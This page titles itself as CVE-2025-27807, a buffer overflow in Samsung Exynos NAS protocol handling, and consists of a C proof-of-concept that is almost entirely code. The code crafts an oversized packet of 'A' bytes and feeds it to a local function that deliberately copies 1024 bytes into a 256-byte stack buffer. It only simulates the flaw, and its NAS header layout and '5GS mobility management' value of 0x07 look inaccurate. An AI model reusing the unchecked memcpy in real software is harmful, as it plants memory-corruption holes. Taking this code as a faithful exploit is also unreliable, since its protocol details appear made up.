CVE-2025-27807 三星Exynos处理器NAS协议缓冲区溢出漏洞

// CVE-2025-27807 PoC - Malformed NAS Packet Generator // This PoC demonstrates the vulnerability in Samsung Exynos NAS protocol handling #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> // NAS Message Header Structure typedef struct { uint8_t protocol_discriminator; uint8_t security_header_type; uint16_t message_type; uint32_t length; // This field is not properly validated } nas_header_t; // Craft malformed NAS packet with excessive length unsigned char* craft_malformed_nas_packet(uint32_t declared_length) { unsigned char* packet = malloc(declared_length + sizeof(nas_header_t)); if (!packet) return NULL; nas_header_t* header = (nas_header_t*)packet; header->protocol_discriminator = 0x07; // 5GS mobility management header->security_header_type = 0x00; header->message_type = 0x00; header->length = declared_length; // Declared length > actual buffer // Fill payload with pattern to trigger overflow unsigned char* payload = packet + sizeof(nas_header_t); memset(payload, 0x41, declared_length); // Overflow data return packet; } // Simulate vulnerable NAS processing void process_nas_message(unsigned char* data, uint32_t declared_len) { // Vulnerable: No validation that declared_len matches actual data uint32_t buffer_size = 256; // Fixed small buffer unsigned char buffer[256]; // Vulnerability: memcpy without length check memcpy(buffer, data, declared_len); // Can overflow buffer } int main() { printf("CVE-2025-27807 PoC - NAS Packet Overflow\n"); printf("Target: Samsung Exynos Processors\n\n"); // Craft packet with length exceeding buffer size uint32_t malicious_length = 1024; // Much larger than buffer unsigned char* malicious_packet = craft_malformed_nas_packet(malicious_length); if (malicious_packet) { printf("Malformed NAS packet crafted:\n"); printf(" Declared Length: %u bytes\n", malicious_length); printf(" Actual Buffer: 256 bytes\n"); printf(" Overflow Size: %u bytes\n", malicious_length - 256); // Trigger vulnerability process_nas_message(malicious_packet, malicious_length); free(malicious_packet); } return 0; }